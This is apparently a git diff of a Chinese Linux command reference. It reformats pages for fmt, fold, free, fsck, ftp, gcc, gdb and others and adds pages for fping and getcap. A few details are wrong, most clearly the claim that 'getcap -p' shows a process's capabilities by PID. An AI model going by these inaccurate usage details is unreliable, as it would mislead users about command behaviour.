echo $status # exit status,替代 $?
diff --git a/command/fmt.md b/command/fmt.md
index fb075eabf1d..0578a82cbfe 100644
--- a/command/fmt.md
+++ b/command/fmt.md
@@ -1,21 +1,21 @@
fmt
===
-
+
读取文件后优化处理并输出
## 补充说明
**fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。
-### 语法
+### 语法
-```
+```shell
fmt(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c或--crown-margin:每段前两列缩排;
-p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面;
-s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列;
@@ -24,9 +24,8 @@ fmt(选项)(参数)
-w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。
```
-### 参数
+### 参数
指定要优化格式的文件。
-
\ No newline at end of file
diff --git a/command/fold.md b/command/fold.md
index f434da9557c..c5a32ab53f7 100644
--- a/command/fold.md
+++ b/command/fold.md
@@ -1,29 +1,34 @@
fold
===
-
+
控制文件内容输出时所占用的屏幕宽度
## 补充说明
**fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。
-### 语法
+### 语法
-```
+```shell
fold(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位;
-s或——spaces:以空格字符作为换列点;
-w<每列行数>或--width<每列行数>:设置每列的最大行数。
```
-### 参数
+### 参数
文件:指定要显示内容的文件。
+### 示例
+
+```shell
+fold -w 5 filename
+```
+
-
\ No newline at end of file
diff --git a/command/fping.md b/command/fping.md
new file mode 100644
index 00000000000..b2678e635a6
--- /dev/null
+++ b/command/fping.md
@@ -0,0 +1,79 @@
+fping
+===
+
+fping检测主机是否存在
+
+## 补充说明
+
+**fping命令** fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。
+
+### 语法
+
+```shell
+fping(选项)(参数)
+```
+
+### 选项
+
+```shell
+-a # 显示存活的主机
+-b # ping 数据包的大小。(默认为56)
+-c # ping每个目标的次数 (默认为1)
+-f # 从文件获取目标列表(不能与 -g 同时使用)
+-l # 循环发送ping
+-g # 通过指定开始和结束地址来生成目标列表,可以使网段
+-u # 显示不可到达的目标
+```
+
+### 实例
+
+安装fping命令:
+
+```shell
+# 先安装epel源:
+yum install epel* -y
+# 安装fping包:
+yum install fping -y
+```
+
+选择性ping指定ip:
+
+```shell
+~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null
+192.168.0.1 is alive
+192.168.0.125 is alive
+192.168.0.126 is unreachable
+```
+
+ping整个网段:
+
+```bash
+~]# fping -g 192.168.0.0/24 2>/dev/null
+192.168.0.1 is alive
+192.168.0.103 is alive
+...
+192.168.0.253 is unreachable
+192.168.0.254 is unreachable
+```
+
+ping整个网段,只显示存活的主机:
+
+```shell
+~]# fping -ag 192.168.0.0/24 2>/dev/null
+192.168.0.1
+192.168.0.103
+...
+```
+
+ping某一段ip:
+
+```shell
+~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null
+192.168.0.103
+...
+192.168.0.125
+192.168.0.130
+```
+
+
+
diff --git a/command/free.md b/command/free.md
index f36144f4ebd..11e927b395b 100644
--- a/command/free.md
+++ b/command/free.md
@@ -7,15 +7,15 @@ free
**free命令** 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。
-### 语法
+### 语法
-```
+```shell
free(选项)
```
-### 选项
+### 选项
-```bash
+```shell
-b # 以Byte为单位显示内存使用情况;
-k # 以KB为单位显示内存使用情况;
-m # 以MB为单位显示内存使用情况;
@@ -24,18 +24,19 @@ free(选项)
-s<间隔秒数> # 持续观察内存使用状况;
-t # 显示内存总和列;
-V # 显示版本信息。
+-h, --human # 自动缩放到最短三位单位的并打印输出
```
-### 实例
+### 实例
-```bash
+```shell
free -t # 以总和的形式显示内存的使用信息
free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令
```
显示内存使用情况
-```bash
+```shell
free -m
total used free shared buffers cached
Mem: 2016 1973 42 0 163 1497
@@ -45,7 +46,7 @@ Swap: 4094 0 4094
**第一部分Mem行解释:**
-```
+```shell
total:内存总数;
used:已经使用的内存数;
free:空闲的内存数;
@@ -58,7 +59,7 @@ cached Page:缓存内存数。
**第二部分(-/+ buffers/cache)解释:**
-```
+```shell
(-buffers/cache) used内存数:第一部分Mem行中的 used – buffers – cached
(+buffers/cache) free内存数: 第一部分Mem行中的 free + buffers + cached
```
@@ -81,7 +82,7 @@ cached Page:缓存内存数。
当可用内存少于额定值的时候,就会开会进行交换。如何看额定值:
-```bash
+```shell
cat /proc/meminfo
MemTotal: 16140816 kB
@@ -156,4 +157,4 @@ Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情
如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。
-
+
diff --git a/command/fsck.md b/command/fsck.md
index e7d62b7fc46..5dc84ecf665 100644
--- a/command/fsck.md
+++ b/command/fsck.md
@@ -1,21 +1,21 @@
fsck
===
-
-检查并且试图修复文件系统中的错误
+
+fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误
## 补充说明
-**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。
+**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误,可用fsck指令尝试加以修复。
-### 语法
+### 语法
-```
+```shell
fsck(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:自动修复文件系统,不询问任何问题;
-A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统;
-N:不执行指令,仅列出实际执行会进行的动作;
@@ -28,15 +28,15 @@ fsck(选项)(参数)
-V:显示指令执行过程。
```
-### 参数
+### 参数
文件系统:指定要查看信息的文件系统。
-### 实例
+### 实例
linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是`/dev/hda2`,接着用如下的命令去对付它:
-```
+```shell
fsck -y /dev/hda2
```
@@ -44,7 +44,7 @@ fsck -y /dev/hda2
如果不知道时哪个地方出了问题,可以直接:
-```
+```shell
fsck
```
@@ -53,4 +53,3 @@ fsck
结束后同样使用reboot命令重启系统这样就好了!
-
\ No newline at end of file
diff --git a/command/ftp.md b/command/ftp.md
index e0efcc9cdea..3fa29426111 100644
--- a/command/ftp.md
+++ b/command/ftp.md
@@ -7,15 +7,15 @@ ftp
**ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。
-### 语法
+### 语法
-```
+```shell
ftp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:详细显示指令执行过程,便于排错或分析程序执行的情况;
-i:关闭互动模式,不询问任何问题;
-g:关闭本地主机文件名称支持特殊字符的扩充特性;
@@ -23,13 +23,13 @@ ftp(选项)(参数)
-v:显示指令执行过程。
```
-### 参数
+### 参数
主机:指定要连接的FTP服务器的主机名或ip地址。
-### 实例
+### 实例
-```bash
+```shell
ftp> ascii # 设定以ASCII方式传送文件(缺省值)
ftp> bell # 每完成一次文件传送,报警提示.
ftp> binary # 设定以二进制方式传送文件.
@@ -66,9 +66,17 @@ ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果
ftp> ! # 从 ftp 子系统退出到外壳。
```
+FTP 匿名登录账号密码
+
+```shell
+账号:anonymous
+密码: anonymous@
+```
+
+
关闭FTP连接
-```bash
+```shell
bye
exit
quit
@@ -76,17 +84,17 @@ quit
下载文件
-```bash
+```shell
ftp> get readme.txt # 下载 readme.txt 文件
ftp> mget *.txt # 下载
```
上传文件
-```bash
+```shell
ftp> put /path/readme.txt # 上传 readme.txt 文件
ftp> mput *.txt # 可以上传多个文件
```
-
+
diff --git a/command/ftpcount.md b/command/ftpcount.md
index 9848ebcd544..839445fa9fc 100644
--- a/command/ftpcount.md
+++ b/command/ftpcount.md
@@ -1,6 +1,6 @@
ftpcount
===
-
+
显示目前已FTP登入的用户人数
## 补充说明
@@ -9,9 +9,8 @@ ftpcount
语法:
-```
+```shell
ftpcount
```
-
\ No newline at end of file
diff --git a/command/ftpshut.md b/command/ftpshut.md
index c69301d2f24..d88acf0492a 100644
--- a/command/ftpshut.md
+++ b/command/ftpshut.md
@@ -1,6 +1,6 @@
ftpshut
===
-
+
在指定的时间关闭FTP服务器
## 补充说明
@@ -9,16 +9,15 @@ ftpshut
语法:
-```
+```shell
ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"]
```
参数:
-```
+```shell
-d<分钟> 切断所有FTP连线时间。
-l<分钟> 停止接受FTP登入的时间。
```
-
\ No newline at end of file
diff --git a/command/ftptop.md b/command/ftptop.md
index a0491c6f1f6..9330e827bdc 100644
--- a/command/ftptop.md
+++ b/command/ftptop.md
@@ -1,25 +1,24 @@
ftptop
===
-
+
proftpd服务器的连接状态
## 补充说明
**ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。
-### 语法
+### 语法
-```
+```shell
ftptop(选项)
```
-### 选项
+### 选项
-```
+```shell
-D:过滤正在下载的会话;
-S:仅显示指定虚拟主机的连接状态;
-d:指定屏幕刷新时间,默认
```
-
\ No newline at end of file
diff --git a/command/ftpwho.md b/command/ftpwho.md
index ba3d69b7dc7..4bb4f214494 100644
--- a/command/ftpwho.md
+++ b/command/ftpwho.md
@@ -1,24 +1,23 @@
ftpwho
===
-
+
显示当前每个ftp会话信息
## 补充说明
**ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。
-### 语法
+### 语法
-```
+```shell
ftpwho(选项)
```
-### 选项
+### 选项
-```
+```shell
-h:显示帮助信息;
-v:详细模式,输出更多信息。
```
-
\ No newline at end of file
diff --git a/command/fuser.md b/command/fuser.md
index 65fbb073b2f..cfa527311c1 100644
--- a/command/fuser.md
+++ b/command/fuser.md
@@ -1,6 +1,6 @@
fuser
===
-
+
使用文件或文件结构识别进程
## 补充说明
@@ -9,22 +9,22 @@ fuser
每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。
-* c:指示进程的工作目录。
-* e:指示该文件为进程的可执行文件(即进程由该文件拉起)。
-* f:指示该文件被进程打开,默认情况下f字符不显示。
-* F:指示该文件被进程打开进行写入,默认情况下F字符不显示。
-* r:指示该目录为进程的根目录。
-* m:指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。
+* `c` :指示进程的工作目录。
+* `e` :指示该文件为进程的可执行文件(即进程由该文件拉起)。
+* `f` :指示该文件被进程打开,默认情况下f字符不显示。
+* `F` :指示该文件被进程打开进行写入,默认情况下F字符不显示。
+* `r` :指示该目录为进程的根目录。
+* `m` :指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。
-### 语法
+### 语法
-```
+```shell
fuser(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:显示命令行中指定的所有文件;
-k:杀死访问指定文件的所有进程;
-i:杀死进程前需要用户进行确认;
@@ -34,27 +34,27 @@ fuser(选项)(参数)
-u:在每个进程后显示所属的用户名。
```
-### 参数
+### 参数
文件:可以是文件名或者TCP、UDP端口号。
-### 实例
+### 实例
要列出使用`/etc/passwd`文件的本地进程的进程号,请输入:
-```
+```shell
fuser /etc/passwd
```
要列出使用`/etc/filesystems`文件的进程的进程号和用户登录名,请输入:
-```
+```shell
fuser -u /etc/filesystems
```
要终止使用给定文件系统的所有进程,请输入:
-```
+```shell
fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home
```
@@ -62,7 +62,7 @@ fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home
要列出正在使用已从给定文件系统删除的文件的全部进程,请输入:
-```
+```shell
fuser -d /usr文件
```
@@ -70,4 +70,3 @@ fuser -d /usr文件
`/dev/mem` 也用于系统映像。
-
\ No newline at end of file
diff --git a/command/gcc.md b/command/gcc.md
index b266399e07d..fac6b762c62 100644
--- a/command/gcc.md
+++ b/command/gcc.md
@@ -1,117 +1,127 @@
gcc
===
-
+
基于C/C++的编译器
## 补充说明
-**gcc命令** 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。
+**gcc命令** 使用GNU推出的基于 `C/C++` 的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用 `GCC`,怎样才能更好的应用 `GCC`。目前,`GCC` 可以用来编译 `C/C++`、`FORTRAN`、`JAVA`、`OBJC`、`ADA`等语言的程序,可根据需要选择安装支持的语言。
-### 语法
+### 语法
-```
+```shell
gcc(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-o:指定生成的输出文件;
-E:仅执行编译预处理;
-S:将C代码转换为汇编代码;
-wall:显示警告信息;
-c:仅执行编译操作,不进行连接操作。
+-l:用来指定程序要链接的库,-l参数紧接着就是库名
+-I:寻找头文件的目录
```
-### 参数
+### 参数
C源文件:指定C语言源代码文件。
-### 实例
+### 实例
- **常用编译命令选项**
+**常用编译命令选项**
假设源程序文件名为test.c
- **无选项编译链接**
+**无选项编译链接**
-```
+```shell
gcc test.c
```
-将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。
+将 `test.c` 预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为 `a.out`。
- **选项 -o**
+**选项 -o**
-```
+```shell
gcc test.c -o test
```
-将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。
+将 `test.c` 预处理、汇编、编译并链接形成可执行文件 `test`。`-o` 选项用来指定输出文件的文件名。
- **选项 -E**
+**选项 -E**
-```
+```shell
gcc -E test.c -o test.i
```
-将test.c预处理输出test.i文件。
+将 `test.c` 预处理输出 `test.i` 文件。
- **选项 -S**
+**选项 -S**
-```
+```shell
gcc -S test.i
```
-将预处理输出文件test.i汇编成test.s文件。
+将预处理输出文件 `test.i` 汇编成 `test.s` 文件。
- **选项 -c**
+**选项 -c**
-```
+```shell
gcc -c test.s
```
-将汇编输出文件test.s编译输出test.o文件。
+将汇编输出文件 `test.s` 编译输出 `test.o` 文件。
- **无选项链接**
+**无选项链接**
-```
+```shell
gcc test.o -o test
```
-将编译输出文件test.o链接成最终可执行文件test。
+将编译输出文件 `test.o` 链接成最终可执行文件 `test`。
- **选项 -O**
+**选项 -O**
-```
+```shell
gcc -O1 test.c -o test
```
使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。
- **多源文件的编译方法**
+**多源文件的编译方法**
如果有多个源文件,基本上有两种编译方法:
-假设有两个源文件为test.c和testfun.c
+假设有两个源文件为 `test.c` 和 `testfun.c`
- **多个文件一起编译**
+**多个文件一起编译**
-```
+```shell
gcc testfun.c test.c -o test
```
-将testfun.c和test.c分别编译后链接成test可执行文件。
+将 `testfun.c` 和 `test.c` 分别编译后链接成 `test` 可执行文件。
- **分别编译各个源文件,之后对编译后输出的目标文件链接。**
+**分别编译各个源文件,之后对编译后输出的目标文件链接。**
-```
+```shell
gcc -c testfun.c #将testfun.c编译成testfun.o
gcc -c test.c #将test.c编译成test.o
-gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test
+gcc testfun.o test.o -o test #将testfun.o和test.o链接成test
```
以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。
+**加载动态链接库**
+```shell
+gcc hello.c -lpthread -o hello
+```
+
+**手动添加文件头路径**
+```shell
+gcc hello.c -lpthread -I /lib64/ -o hello
+```
-
\ No newline at end of file
diff --git a/command/gcov.md b/command/gcov.md
index 237fbe7d320..b6c0e39fbd5 100644
--- a/command/gcov.md
+++ b/command/gcov.md
@@ -1,30 +1,29 @@
gcov
===
-
+
测试程序的代码覆盖率的工具
## 补充说明
**gcov命令** 是一款测试程序的代码覆盖率的工具。
-### 语法
+### 语法
-```
+```shell
gcov(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:显示帮助信息;
-v:显示版本信息;
-a:输出所有的基本块的执行计数;
-n:并创建输出文件。
```
-### 参数
+### 参数
V语言文件:C语言源代码文件。
-
\ No newline at end of file
diff --git a/command/gdb.md b/command/gdb.md
index d02397ba061..d72ec9f01d6 100644
--- a/command/gdb.md
+++ b/command/gdb.md
@@ -7,161 +7,15 @@ gdb
**gdb命令** 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令,就大致可以完成日常的基本的程序调试工作。
-
-
-
-
-
-
-命令
-
-解释
-
-示例
-
-
-
-
-
-file <文件名>
-
-加载被调试的可执行程序文件。
-因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。
-
-(gdb) file gdb-sample
-
-
-
-
-
-r
-
-Run的简写,运行被调试的程序。
-如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。
-
-(gdb) r
-
-
-
-
-
-c
-
-Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。
-
-(gdb) c
-
-
-
-
-
-b <行号>
-b <函数名称>
-b *<函数名称>
-b *<代码地址> d [编号]
-
-b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。
-其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。
-
-(gdb) b 8
-(gdb) b main
-(gdb) b *main
-(gdb) b *0x804835c (gdb) d
-
-
-
-
-
-s, n
-
-s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;
-n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”;
-n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。
-
-(gdb) s
-(gdb) n
-
-
-
-
-
-si, ni
-
-si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。
-
-(gdb) si
-(gdb) ni
-
-
-
-
-
-p <变量名称>
-
-Print的简写,显示指定变量(临时变量或全局变量)的值。
-
-(gdb) p i
-(gdb) p nGlobalVar
-
-
-
-
-
-display ... undisplay <编号>
-
-display,设置程序中断后欲显示的数据及其格式。
-例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令
-“display /i $pc”
-其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。
-
-(gdb) display /i $pc (gdb) undisplay 1
-
-
-
-
-
-i
-
-info的简写,用于显示各类信息,详情请查阅“help i”。
-
-(gdb) i r
-
-
-
-
-
-q
-
-Quit的简写,退出GDB调试环境。
-
-(gdb) q
-
-
-
-
-
-help [命令名称]
-
-GDB帮助命令,提供对GDB名种命令的解释说明。
-如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。
-
-(gdb) help
-
-
-
-
-
-
-
### 语法
-```
+```shell
gdb(选项)(参数)
```
### 选项
-```
+```shell
-cd:设置工作目录;
-q:安静模式,不打印介绍信息和版本信息;
-d:添加文件查找路径;
@@ -169,6 +23,21 @@ gdb(选项)(参数)
-s:设置读取的符号表文件。
```
+
+命令 | 解释 | 示例
+--- | --- | ---
+file <文件名> | 加载被调试的可执行程序文件。 因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。 | (gdb) file gdb-sample
+r | Run的简写,运行被调试的程序。 如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。 | (gdb) r
+c | Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。 | (gdb) c
+b <行号> b <函数名称> b *<函数名称> b *<代码地址> d [编号] | b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。 其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。 | (gdb) b 8(gdb) b main (gdb) b *main (gdb) b *0x804835c (gdb) d
+s, n | s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数; n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”; n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。 | (gdb) s (gdb) n
+si, ni | si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。 | (gdb) si (gdb) ni
+p <变量名称> | Print的简写,显示指定变量(临时变量或全局变量)的值。 | (gdb) p i (gdb) p nGlobalVar
+display ... undisplay <编号> | display,设置程序中断后欲显示的数据及其格式。 例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令 “display /i $pc” 其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。 | (gdb) display /i $pc (gdb) undisplay 1
+i | info的简写,用于显示各类信息,详情请查阅“help i”。 | (gdb) i r
+q | Quit的简写,退出GDB调试环境。 | (gdb) q
+help [命令名称] | GDB帮助命令,提供对GDB名种命令的解释说明。 如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。 | (gdb) help
+
### 参数
文件:二进制可执行程序。
@@ -177,7 +46,7 @@ gdb(选项)(参数)
以下是linux下dgb调试的一个实例,先给出一个示例用的小程序,C语言代码:
-```
+```shell
#include
int nGlobalVar = 0;
@@ -208,7 +77,7 @@ int main()
请将此代码复制出来并保存到文件 gdb-sample.c 中,然后切换到此文件所在目录,用GCC编译之:
-```
+```shell
gcc gdb-sample.c -o gdb-sample -g
```
@@ -216,7 +85,7 @@ gcc gdb-sample.c -o gdb-sample -g
下面“gdb”命令启动GDB,将首先显示GDB说明,不管它:
-```
+```shell
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
@@ -231,7 +100,7 @@ This GDB was configured as "i386-redhat-linux-gnu".
下面使用“file”命令载入被调试程序 gdb-sample(这里的 gdb-sample 即前面 GCC 编译输出的可执行文件):
-```
+```shell
(gdb) file gdb-sample
Reading symbols from gdb-sample...done.
```
@@ -240,7 +109,7 @@ Reading symbols from gdb-sample...done.
下面使用“r”命令执行(Run)被调试文件,因为尚未设置任何断点,将直接执行到程序结束:
-```
+```shell
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
n = 1, nGlobalVar = 88
@@ -251,7 +120,7 @@ Program exited normally.
下面使用“b”命令在 main 函数开头设置一个断点(Breakpoint):
-```
+```shell
(gdb) b main
Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19.
```
@@ -260,7 +129,7 @@ Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19.
再次使用“r”命令执行(Run)被调试程序:
-```
+```shell
(gdb) r
Starting program: /home/liigo/temp/gdb-sample
@@ -274,7 +143,7 @@ Breakpoint 1, main () at gdb-sample.c:19
下面使用“s”命令(Step)执行下一行代码(即第19行“n = 1;”):
-```
+```shell
(gdb) s
20 n++;
```
@@ -283,7 +152,7 @@ Breakpoint 1, main () at gdb-sample.c:19
既然已经执行了“n = 1;”,即给变量 n 赋值为 1,那我们用“p”命令(Print)看一下变量 n 的值是不是 1 :
-```
+```shell
(gdb) p n
$1 = 1
```
@@ -292,7 +161,7 @@ $1 = 1
下面我们分别在第26行、tempFunction 函数开头各设置一个断点(分别使用命令“b 26”“b tempFunction”):
-```
+```shell
(gdb) b 26
Breakpoint 2 at 0x804837b: file gdb-sample.c, line 26.
(gdb) b tempFunction
@@ -301,7 +170,7 @@ Breakpoint 3 at 0x804832e: file gdb-sample.c, line 12.
使用“c”命令继续(Continue)执行被调试程序,程序将中断在第二 个断点(26行),此时全局变量 nGlobalVar 的值应该是 88;再一次执行“c”命令,程序将中断于第三个断点(12行,tempFunction 函数开头处),此时tempFunction 函数的两个参数 a、b 的值应分别是 1 和 2:
-```
+```shell
(gdb) c
Continuing.
@@ -325,7 +194,7 @@ $4 = 2
再一次执行“c”命令(Continue),因为后面再也没有其它断点,程序将一直执行到结束:
-```
+```shell
(gdb) c
Continuing.
tempFunction is called, a = 1, b = 2
@@ -337,14 +206,14 @@ Program exited normally.
这就要用到display命令“display /i $pc”了(此命令前面已有详细解释):
-```
+```shell
(gdb) display /i $pc
(gdb)
```
此后程序再中断时,就可以显示出汇编代码了:
-```
+```shell
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
@@ -357,7 +226,7 @@ Breakpoint 1, main () at gdb-sample.c:19
并且以后程序每次中断都将显示下一条汇编指定(“si”命令用于执行一条汇编代码——区别于“s”执行一行C代码):
-```
+```shell
(gdb) si
20 n++;
1: x/i $pc 0x8048363 : lea 0xfffffffc(%ebp),%eax
@@ -379,7 +248,7 @@ Breakpoint 1, main () at gdb-sample.c:19
为了更简明,有必要先删除目前所有断点(使用“d”命令——Delete breakpoint):
-```
+```shell
(gdb) d
Delete all breakpoints? (y or n) y
(gdb)
@@ -389,7 +258,7 @@ Delete all breakpoints? (y or n) y
下面使用命令“b *main”在 main 函数的 prolog 代码处设置断点(prolog、epilog,分别表示编译器在每个函数的开头和结尾自行插入的代码):
-```
+```shell
(gdb) b *main
Breakpoint 4 at 0x804834c: file gdb-sample.c, line 17.
(gdb) r
@@ -421,9 +290,9 @@ Breakpoint 4, main () at gdb-sample.c:17
1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp)
```
-此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”:
+此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”:
-```
+```shell
(gdb) i r
eax 0xbffff6a4 -1073744220
ecx 0x42015554 1107383636
@@ -445,14 +314,14 @@ gs 0x33 51
当然也可以显示任意一个指定的寄存器值:
-```
+```shell
(gdb) i r eax
eax 0xbffff6a4 -1073744220
```
最后一个要介绍的命令是“q”,退出(Quit)GDB调试环境:
-```
+```shell
(gdb) q
The program is running. exit anyway? (y or n)
```
@@ -463,7 +332,7 @@ The program is running. exit anyway? (y or n)
如果删除源代码, 就无法显示行号等辅助信息了
-```
+```shell
gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out
gdb gdb.out # 进入 gdb 调试环境
@@ -480,8 +349,9 @@ f 1 # 切换函数栈
q 退出调试
```
+测试用代码
+
```c
-# 测试用代码
#include
void change(int a, int b){
@@ -503,4 +373,3 @@ int main(){
}
```
-
\ No newline at end of file
diff --git a/command/get_module.md b/command/get_module.md
index b7e69ccd75f..5956eaa9c2d 100644
--- a/command/get_module.md
+++ b/command/get_module.md
@@ -1,23 +1,23 @@
get_module
===
-
+
获取Linux内核模块的详细信息
## 补充说明
**get_module命令** 用于获取Linux内核模块的详细信息。
-### 语法
+### 语法
-```
+```shell
get_module 模块名
```
-### 实例
+### 实例
使用lsmod命令查看内核模块:
-```
+```shell
lsmod | head -5
Module Size Used by
ipv6 272801 15
@@ -28,7 +28,7 @@ ip_conntrack_ftp 11569 0
使用get_module命令查看模块详细信息:
-```
+```shell
get_module ipv6
refcnt : 15
srcversion : 8CC9C024755B4483E56C0EF
@@ -64,4 +64,3 @@ Sections:
```
-
\ No newline at end of file
diff --git a/command/getcap.md b/command/getcap.md
new file mode 100644
index 00000000000..1f57f464b57
--- /dev/null
+++ b/command/getcap.md
@@ -0,0 +1,49 @@
+getcap
+===
+
+显示文件的能力(capabilities)
+
+## 补充说明
+
+**getcap命令** 用于查看文件的能力(capabilities)。在 Linux 中,文件的能力是一种权限控制机制,可以赋予普通文件特定的特权操作,而无需完全的 root 权限。
+
+### 语法
+
+```shell
+getcap [选项] [文件名...]
+```
+
+### 选项
+
+```shell
+-v # 显示详细信息,通常与其他选项一起使用。
+-p # 显示进程的能力。
+```
+
+### 参数
+
+文件名:指定要查看能力的文件路径。
+
+### 实例
+
+查看一个可执行文件的能力:
+
+```shell
+$ getcap /usr/bin/ping
+/usr/bin/ping = cap_net_raw+ep
+```
+
+查看当前目录下所有文件的能力:
+
+```shell
+$ getcap *
+/usr/bin/ping = cap_net_raw+ep
+```
+
+如果文件没有设置任何能力,getcap 不会返回任何输出。
+
+查看进程的能力(以 PID 为例):
+
+```shell
+$ getcap -p 1234
+```
\ No newline at end of file
diff --git a/command/getenforce.md b/command/getenforce.md
index 17a76a1531c..2583847927d 100644
--- a/command/getenforce.md
+++ b/command/getenforce.md
@@ -1,15 +1,15 @@
getenforce
===
-显示当前SELinux的应用模式,是强制、执行还是停用。
+显示当前SELinux的应用模式,是强制、执行还是停用
## 补充说明
